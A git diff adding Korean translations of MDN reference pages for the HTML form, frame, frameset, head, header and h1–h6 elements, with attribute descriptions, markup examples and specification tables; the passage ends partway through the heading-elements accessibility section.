+ <dd><code>method</code> 특성이 <code>post</code>인 경우, <code>enctype</code>은 양식 제출 시 데이터의 <a href="https://ko.wikipedia.org/wiki/%EB%AF%B8%EB%94%94%EC%96%B4_%ED%83%80%EC%9E%85">MIME 유형</a>을 나타냅니다.
+ <ul>
+  <li><code>application/x-www-form-urlencoded</code>: 기본값.</li>
+  <li><code>multipart/form-data</code>: <code>&lt;input type="file"&gt;</code>이 존재하는 경우 사용하세요.</li>
+  <li><code>text/plain</code>: HTML 5에서 디버깅 용으로 추가된 값.</li>
+ </ul>
+
+ <p>{{HTMLElement("button")}}, <code><a href="/ko/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code>, <code><a href="/ko/docs/Web/HTML/Element/input/image">&lt;input type="image"&gt;</a></code> 요소의 {{htmlattrxref("formenctype", "button")}} 특성으로 재정의할 수 있습니다.</p>
+ </dd>
+ <dt>{{htmlattrdef("method")}}</dt>
+ <dd>양식을 제출할 때 사용할 <a href="/ko/docs/Web/HTTP" title="http://www.w3.org/Protocols/rfc2616/rfc2616.html">HTTP</a> 메서드.
+ <ul>
+  <li><code>post</code>: <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.5" title="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.5">POST 메서드</a>. 양식 데이터를 <a href="/ko/docs/Web/API/Body">요청 본문</a>으로 전송합니다.</li>
+  <li><code>get</code>: <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.3" title="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.3">GET 메서드</a>. 양식 데이터를 <code>action</code> URL과 <code>?</code> 구분자 뒤에 이어 붙여서 전송합니다.</li>
+  <li>dialog: 양식이 {{htmlelement("dialog")}} 안에 위치한 경우, 제출과 함께 대화 상자를 닫습니다.</li>
+ </ul>
+
+ <p>{{HTMLElement("button")}}, <code><a href="/ko/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code>, <code><a href="/ko/docs/Web/HTML/Element/input/image">&lt;input type="image"&gt;</a></code> 요소의 {{htmlattrxref("formmethod", "button")}} 특성으로 재정의할 수 있습니다.</p>
+ </dd>
+ <dt>{{htmlattrdef("name")}} {{deprecated_inline}}</dt>
+ <dd>양식의 이름. HTML 4부터 사용 중단됐습니다. {{htmlattrxref("id")}}를 사용하세요.</dd>
+ <dt>{{htmlattrdef("novalidate")}}</dt>
+ <dd>지정한 경우 양식의 유효성 검증을 건너뜁니다. <code>novalidate</code> 특성을 지정하지 않은(양식의 검증을 수행하는) 경우에도 {{HTMLElement("button")}}, <code><a href="/ko/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code>, <code><a href="/ko/docs/Web/HTML/Element/input/image">&lt;input type="image"&gt;</a></code> 요소의 {{htmlattrxref("formnovalidate", "button")}} 특성으로 재정의할 수 있습니다.</dd>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd>양식 제출의 결과를 표시할 위치를 나타내는 표준 키워드 혹은 사용자 지정 이름. 가능한 값은 {{glossary("browsing context", "브라우징 맥락")}}(탭, 창, {{htmlelement("iframe")}})의 이름 또는 키워드입니다. 지정한 경우, 버튼의 양식 소유자가 가진 {{htmlattrxref("target","form")}} 특성보다 우선합니다. 다음 키워드는 특별한 뜻을 가지고 있습니다.
+ <ul>
+  <li><code>_self</code>: 응답을 현재 브라우징 맥락에 표시합니다. 기본값.</li>
+  <li><code>_blank</code>: 응답을 새로운 브라우징 맥락에 표시합니다. 보통 새 탭이지만, 사용자가 브라우저 설정을 통해 새 창으로 바꿀 수 있습니다.</li>
+  <li><code>_parent</code>: 응답을 현재 브라우징 맥락의 부모에 표시합니다. 부모가 존재하지 않으면 <code>_self</code>와 동일하게 행동합니다.</li>
+  <li><code>_top</code>: 응답을 최상단 브라우징 맥락(현재 맥락의 부모면서 자신의 부모가 존재하지 않는, 제일 높은 맥락)에 표시합니다. 부모가 존재하지 않으면 <code>_self</code>와 동일하게 행동합니다.</li>
+ </ul>
+
+ <p>{{HTMLElement("button")}}, <code><a href="/ko/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code>, <code><a href="/ko/docs/Web/HTML/Element/input/image">&lt;input type="image"&gt;</a></code> 요소의 {{htmlattrxref("formtarget", "button")}} 특성으로 재정의할 수 있습니다.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;!-- Form which will send a GET request to the current URL --&gt;
+&lt;form&gt;
+  &lt;label&gt;Name:
+    &lt;input name="submitted-name" autocomplete="name"&gt;
+  &lt;/label&gt;
+  &lt;button&gt;Save&lt;/button&gt;
+&lt;/form&gt;
+
+&lt;!-- Form which will send a POST request to the current URL --&gt;
+&lt;form method="post"&gt;
+  &lt;label&gt;Name:
+    &lt;input name="submitted-name" autocomplete="name"&gt;
+  &lt;/label&gt;
+  &lt;button&gt;Save&lt;/button&gt;
+&lt;/form&gt;
+
+&lt;!-- Form with fieldset, legend, and label --&gt;
+&lt;form method="post"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Title&lt;/legend&gt;
+    &lt;label&gt;&lt;input type="radio" name="radio"&gt; Select me&lt;/label&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('예제', '100%', 110) }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-form-element', '&lt;form&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-form-element', '&lt;form&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.3', '&lt;form&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.form")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><label><a href="/ko/docs/Web/Guide/HTML/Forms" title="/en-US/docs/Web/Guide/HTML/Forms">HTML 양식 안내서</a></label></li>
+</ul>
diff --git a/files/ko/web/html/element/frame/index.html b/files/ko/web/html/element/frame/index.html
new file mode 100644
index 0000000000..d6d8f8ef0e
--- /dev/null
+++ b/files/ko/web/html/element/frame/index.html
@@ -0,0 +1,56 @@
+---
+title: <frame>
+slug: Web/HTML/Element/frame
+translation_of: Web/HTML/Element/frame
+---
+<div>{{Deprecated_header}}</div>
+
+<h2 id="요약">요약</h2>
+
+<p><code>&lt;frame&gt;</code>은 다른 HTML 문서가 표시될 수 있는 특정 영역을 정의하는 element이다. frame은 {{HTMLElement("frameset")}}내에서 사용되어야 한다.</p>
+
+<p>&lt;frame&gt; element의 사용은 screen reader 사용자들의 접근성 부족과같은 기능문제같은 특정 단점 때문에 권장되지 않는다<br>
+ &lt;frame&gt; element 대신에 {{HTMLElement("iframe")}} 가 아마 더 적합할것이다.</p>
+
+<h2 id="속성(Attributes)">속성(=Attributes)</h2>
+
+<p>다른 모든 HTML elments와 마찬가지로, &lt;frame&gt; element는 전역속성(<a href="/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">global attributes</a>)이 적용된다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>이 속성은 frame으로 표시될 문서를 기입합니다.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>
+ <p>이 속성은 프레임을 명명하는데 사용됩니다. 명명되지않은  모든 링크들은 그들이 속해있는 그 프레임 안에서 열릴것입니다</p>
+ </dd>
+ <dt> </dt>
+ <dt>{{htmlattrdef("noresize")}}</dt>
+ <dd>이 속성은 사용자가 프레임크기를 조정할수 없게합니다.</dd>
+ <dt>{{htmlattrdef("scrolling")}}</dt>
+ <dd><br>
+ 이 속성은 스크롤바의 유무를 결정합니다. 이 속성을 사용하지않으면 특정상황에서 자동으로 브라우져에 스크롤바가 생깁니다.<br>
+ 두가지를 선택할 수 있습니다. "yes"면 항상 스크롤바를 보여주고 "no"면 항상 스크롤바를 보여주지 않습니다.</dd>
+ <dt>{{htmlattrdef("marginheight")}}</dt>
+ <dd>이 속성은 프레임 사이의 여백 높이를 정의할때 사용됩니다.</dd>
+ <dt>{{htmlattrdef("marginwidth")}}</dt>
+ <dd>이 속성은 프레임 사이의 여백 넓이를 정의할때 사용됩니다.</dd>
+ <dt>{{htmlattrdef("frameborder")}}</dt>
+ <dd>이 속성을 사용하면 프레임에 대한 경계선을 넣을 수 있습니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: html">&lt;frameset cols="50%,50%"&gt;
+  &lt;frame src="https://developer.mozilla.org/en/HTML/Element/iframe" /&gt;
+  &lt;frame src="https://developer.mozilla.org/en/HTML/Element/frame" /&gt;
+&lt;/frameset&gt;
+</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{HTMLElement("frameset")}}</li>
+ <li>{{HTMLElement("iframe")}}</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/ko/web/html/element/frameset/index.html b/files/ko/web/html/element/frameset/index.html
new file mode 100644
index 0000000000..a65b4a20d7
--- /dev/null
+++ b/files/ko/web/html/element/frameset/index.html
@@ -0,0 +1,39 @@
+---
+title: <frameset>
+slug: Web/HTML/Element/frameset
+translation_of: Web/HTML/Element/frameset
+---
+<div>{{Deprecated_header}}</div>
+
+<h2 id="요약">요약</h2>
+
+<p><code>&lt;frameset&gt;</code>은 HTML element로써 {{HTMLElement("frame")}} element을 포함하고 사용된다.</p>
+
+<p class="note"><strong>Note: </strong>frame의 사용이 지금 {{HTMLElement("iframe")}}의 사용에 따라줄어드는 추세이기 때문에 , 이 element는 최근 웹사이트에서 잘 쓰이지 않는다.</p>
+
+<h2 id="속성(Attributes)">속성(=Attributes)</h2>
+
+<p>다른 모든 HTML elments와 마찬가지로, &lt;frameset&gt; element는 전역속성(<a href="/en-US/HTML/Global_attributes" title="HTML/Global attributes">global attributes</a>)이 적용된다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("cols")}}</dt>
+ <dd>이 속성은 프레임셋안의 가로공간의 갯수와 크기를 정합니다.</dd>
+ <dt>{{htmlattrdef("rows")}}</dt>
+ <dd>이 속성은 프레임셋안의 세로공간의 갯수와 크기를 정합니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush:html">&lt;frameset cols="50%,50%"&gt;
+  &lt;frame src="https://developer.mozilla.org/en/HTML/Element/frameset" /&gt;
+  &lt;frame src="https://developer.mozilla.org/en/HTML/Element/frame" /&gt;
+&lt;/frameset&gt;</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{HTMLElement("frame")}}</li>
+ <li>{{HTMLElement("iframe")}}</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/ko/web/html/element/head/index.html b/files/ko/web/html/element/head/index.html
new file mode 100644
index 0000000000..4dd99da8dd
--- /dev/null
+++ b/files/ko/web/html/element/head/index.html
@@ -0,0 +1,129 @@
+---
+title: '<head>: 문서 메타데이터 (헤더) 요소'
+slug: Web/HTML/Element/head
+tags:
+  - Element
+  - HTML
+  - HTML document metadata
+  - 'HTML:Metadata content'
+  - Reference
+  - Web
+  - 요소
+translation_of: Web/HTML/Element/head
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;head&gt;</code> 요소</strong>는 기계가 식별할 수 있는 문서 정보(메타데이터)를 담습니다. 정보로는 문서가 사용할 <a href="/ko/docs/Web/HTML/Element/title">제목</a>, <a href="/ko/docs/Web/HTML/Element/script">스크립트</a>, <a href="/ko/docs/Web/HTML/Element/style">스타일 시트</a> 등이 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>&lt;head&gt;</code>의 주 목적은 기계 처리를 위한 정보이고, 사람이 읽을 수 있는 정보가 아닙니다. 최상위 제목, 작성자 목록 등 사람에게 보여야 할 정보는 {{HTMLElement("header")}} 요소를 사용하세요.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td>없음.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>
+    <p>현재 문서가 {{HTMLElement("iframe")}} {{htmlattrxref("srcdoc", "iframe")}} 문서거나, 제목 정보가 더 높은 단계의 규약에 존재하는 경우(HTML 이메일의 제목처럼) 0개 이상의 메타에이터 콘텐츠.</p>
+
+    <p>이외에는 하나 이상의 메타데이터 콘텐츠. 단, 정확히 한 개의 {{htmlelement("title")}} 요소를 포함해야 합니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td><code>&lt;head&gt;</code> 요소 내의 첫 번째 것이 요소라면 여는 태그를 생략할 수 있습니다.<br>
+    <code>&lt;head&gt;</code> 요소 뒤의 첫 번째 항목이 공백문자나 주석이 아니라면 닫는 태그를 생략할 수 있습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>{{HTMLElement("html")}} 요소의 첫 번째 자식으로 배치.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 요소</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLHeadElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html notranslate">&lt;!doctype html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;문서 제목&lt;/title&gt;
+  &lt;/head&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<p>HTML5 호환 브라우저는 <code>&lt;head&gt;</code>가 없는 경우 자동으로 생성합니다. 하지만 <a href="https://www.stevesouders.com/blog/2010/05/12/autohead-my-first-browserscope-user-test/">오래된 구형 브라우저에서는 그렇지 않습니다.</a></p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-head-element', '&lt;head&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-head-element', '&lt;head&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.4.1', '&lt;head&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.head")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code>&lt;head&gt;</code> 안에 배치할 수 있는 요소
+
+  <ul>
+   <li>{{HTMLElement("title")}}</li>
+   <li>{{HTMLElement("base")}}</li>
+   <li>{{HTMLElement("link")}}</li>
+   <li>{{HTMLElement("style")}}</li>
+   <li>{{HTMLElement("meta")}}</li>
+   <li>{{HTMLElement("script")}}</li>
+   <li>{{HTMLElement("noscript")}}</li>
+   <li>{{HTMLElement("template")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/html/element/header/index.html b/files/ko/web/html/element/header/index.html
new file mode 100644
index 0000000000..51a8f41d1f
--- /dev/null
+++ b/files/ko/web/html/element/header/index.html
@@ -0,0 +1,109 @@
+---
+title: <header>
+slug: Web/HTML/Element/header
+tags:
+  - Element
+  - HTML
+  - HTML sections
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/header
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;header&gt;</code> 요소</strong>는 소개 및 탐색에 도움을 주는 콘텐츠를 나타냅니다. 제목, 로고, 검색 폼, 작성자 이름 등의 요소도 포함할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/header.html", "tabbed-standard")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>. 단, 다른 <code>&lt;header&gt;</code> 또는 {{htmlelement("footer")}}가 자손으로 올 수 없습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소. 단, {{htmlelement("address")}}, {{htmlelement("footer")}}, 또는 다른 <code>&lt;header&gt;</code>의 자손으로 사용할 수 없습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;header&gt;</code> 요소는 구획 콘텐츠가 아니므로 개요에 구획을 생성하지 않습니다. 대신 주위 구획의 제목({{htmlelement("Heading_Elements", "&lt;h1&gt;-&lt;h6&gt;")}} 요소)을 감싸기 위한 요소지만, 필수 사항은 <strong>아닙니다</strong>.</p>
+
+<h3 id="역사적_사용처">역사적 사용처</h3>
+
+<p><code>&lt;header&gt;</code>는 {{glossary("HTML5")}}에서야 명세에 포함됐지만, 사실 HTML의 시작부터 존재했습니다. <a href="http://info.cern.ch/">세계 최초의 웹사이트</a>에서 확인할 수 있듯 원래는 {{htmlelement("head")}}요소로서 사용했지만, 어느 순간부터 다른 이름이 됐습니다. 덕분에 <code>&lt;header&gt;</code>는 나중에 다른 역할을 맡을 수 있었습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="페이지_제목">페이지 제목</h3>
+
+<pre class="brush: html">&lt;header&gt;
+  &lt;h1&gt;Main Page Title&lt;/h1&gt;
+  &lt;img src="mdn-logo-sm.png" alt="MDN logo"&gt;
+&lt;/header&gt;
+</pre>
+
+<h3 id="글_제목">글 제목</h3>
+
+<pre class="brush: html">&lt;article&gt;
+  &lt;header&gt;
+    &lt;h2&gt;The Planet Earth&lt;/h2&gt;
+    &lt;p&gt;Posted on Wednesday, &lt;time datetime="2017-10-04"&gt;4 October 2017&lt;/time&gt; by Jane Smith&lt;/p&gt;
+  &lt;/header&gt;
+  &lt;p&gt;We live on a planet that's blue and green, with so many things still unseen.&lt;/p&gt;
+  &lt;p&gt;&lt;a href="https://janesmith.com/the-planet-earth/"&gt;Continue reading....&lt;/a&gt;&lt;/p&gt;
+&lt;/article&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-header-element', '&lt;header&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-header-element', '&lt;header&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.header")}}</p>
diff --git a/files/ko/web/html/element/heading_elements/index.html b/files/ko/web/html/element/heading_elements/index.html
new file mode 100644
index 0000000000..87e972e996
--- /dev/null
+++ b/files/ko/web/html/element/heading_elements/index.html
@@ -0,0 +1,242 @@
+---
+title: '<h1>–<h6>: HTML 구획 제목 요소'
+slug: Web/HTML/Element/Heading_Elements
+tags:
+  - Element
+  - HTML
+  - HTML sections
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/Heading_Elements
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;h1&gt;</code>–<code>&lt;h6&gt;</code> 요소</strong>는 6단계의 구획 제목을 나타냅니다. 구획 단계는 <code>&lt;h1&gt;</code>이 가장 높고 <code>&lt;h6&gt;</code>은 가장 낮습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/h1-h6.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#제목_콘텐츠">제목 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소. {{HTMLElement("hgroup")}} 요소의 자식으로 사용하지 마세요. 더 이상 쓰이지 않는 요소입니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>{{ARIARole("tab")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLHeadingElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><code>&lt;h1&gt;</code>-<code>&lt;h6&gt;</code> 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>사용자 에이전트가 제목의 정보를 사용해 자동으로 문서 콘텐츠의 표를 만드는 등의 작업을 수행할 수 있습니다.</li>
+ <li>글씨 크기를 위해 제목 태그를 사용하지 마세요. 대신 {{glossary("CSS")}}의 {{cssxref("font-size")}} 속성을 사용하세요.</li>
+ <li>제목 단계를 건너뛰는 것을 피하세요. 언제나 <code>&lt;h1&gt;</code>로 시작해서, <code>&lt;h2&gt;</code><code>,</code> 순차적으로 기입하세요.</li>
+ <li>페이지 당 하나의 <code>&lt;h1&gt;</code>만 사용하세요. 여러 개를 써도 오류는 나지 않겠지만, 단일 <code>&lt;h1&gt;</code>이 모범 사례로 꼽힙니다. 논리적으로 생각했을 때도, <code>&lt;h1&gt;</code>은 가장 중요한 제목이므로 전체 페이지의 목적을 설명해야 할 것입니다. 두 개의 제목을 가진 책이나, 여러 개의 이름을 가진 영화는 볼 수 없죠! 또한 스크린 리더 사용자와 {{glossary("SEO")}}에도 더 적합합니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="모든_제목_단계">모든 제목 단계</h3>
+
+<p>다음 코드는 모든 단계의 제목을 보입니다.</p>
+
+<pre class="brush: html">&lt;h1&gt;Heading level 1&lt;/h1&gt;
+&lt;h2&gt;Heading level 2&lt;/h2&gt;
+&lt;h3&gt;Heading level 3&lt;/h3&gt;
+&lt;h4&gt;Heading level 4&lt;/h4&gt;
+&lt;h5&gt;Heading level 5&lt;/h5&gt;
+&lt;h6&gt;Heading level 6&lt;/h6&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('모든_제목_단계', '280', '300', '') }}</p>
+
+<h3 id="예제_페이지">예제 페이지</h3>
+
+<p>다음 코드는 약간의 제목과 내용을 보여줍니다.</p>
+
+<pre class="brush: html">&lt;h1&gt;Heading elements&lt;/h1&gt;
+&lt;h2&gt;Summary&lt;/h2&gt;
+&lt;p&gt;Some text here...&lt;/p&gt;
+
+&lt;h2&gt;Examples&lt;/h2&gt;
+&lt;h3&gt;Example 1&lt;/h3&gt;
+&lt;p&gt;Some text here...&lt;/p&gt;
+
+&lt;h3&gt;Example 2&lt;/h3&gt;
+&lt;p&gt;Some text here...&lt;/p&gt;
+
+&lt;h2&gt;See also&lt;/h2&gt;
+&lt;p&gt;Some text here...&lt;/p&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('예제_페이지', '280', '480', '') }}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<h3 id="탐색">탐색</h3>
+
+<p>스크린 리더 사용자가 흔히 사용하는 탐색 기법은 제목에서 제목으로 뛰어넘으며 페이지 콘텐츠를 빠르게 파악하는 것입니다. 따라서 제목 단계를 뛰어넘으면 중간에 빠진 제목이 어디 있는 건지 모르므로 사용자의 혼란을 야기할 수 있습니다.</p>
+
+<h4 id="하지_말것">하지 말것</h4>
+
+<pre class="brush: html example-bad">&lt;h1&gt;Heading level 1&lt;/h1&gt;
+&lt;h3&gt;Heading level 3&lt;/h3&gt;
+&lt;h4&gt;Heading level 4&lt;/h4&gt;
+</pre>
+
+<h4 id="할것">할것</h4>
+
+<pre class="brush: html example-good">&lt;h1&gt;Heading level 1&lt;/h1&gt;
+&lt;h2&gt;Heading level 2&lt;/h2&gt;
+&lt;h3&gt;Heading level 3&lt;/h3&gt;
+</pre>
+
+<h4 id="중첩">중첩</h4>
+
+<p>하위 구획으로 제목을 중첩해 콘텐츠의 구조를 나타낼 수 있습니다. 대부분의 스크린 리더는 페이지의 제목을 정렬한 목록도 생성해 제공하므로, 사용자가 빠르게 콘텐츠 구조를 파악할 수 있도록 도와줍니다.</p>
+
+<ol>
+ <li><code>h1</code> Beetles
+
+  <ol>
+   <li><code>h2</code> Etymology</li>
+   <li><code>h2</code> Distribution and Diversity</li>
+   <li><code>h2</code> Evolution
+    <ol>
+     <li><code>h3</code> Late Paleozoic</li>
+     <li><code>h3</code> Jurassic</li>
+     <li><code>h3</code> Cretaceous</li>
+     <li><code>h3</code> Cenozoic</li>
+    </ol>
+   </li>
+   <li><code>h2</code> External Morphology
+    <ol>
+     <li><code>h3</code> Head
+      <ol>
+       <li><code>h4</code> Mouthparts</li>
+      </ol>
+     </li>
+     <li><code>h3</code> Thorax
+      <ol>
+       <li><code>h4</code> Prothorax</li>
+       <li><code>h4</code> Pterothorax</li>
+      </ol>
+     </li>
+     <li><code>h3</code> Legs</li>
+     <li><code>h3</code> Wings</li>
+     <li><code>h3</code> Abdomen</li>
+    </ol>
+   </li>
+  </ol>
+ </li>
+</ol>
+
+<p>중첩 제목에서, 하위 구획을 닫을 땐 제목 단계를 위로 "건너뛸" 수 있습니다.</p>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/tutorials/page-structure/headings/">Headings • Page Structure • WAI Web Accessibility Tutorials</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_—_Create_content_that_can_be_presented_in_different_ways">MDN Understanding WCAG, Guideline 1.3 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-programmatic.html">Understanding Success Criterion 1.3.1 | W3C Understanding WCAG 2.0</a></li>
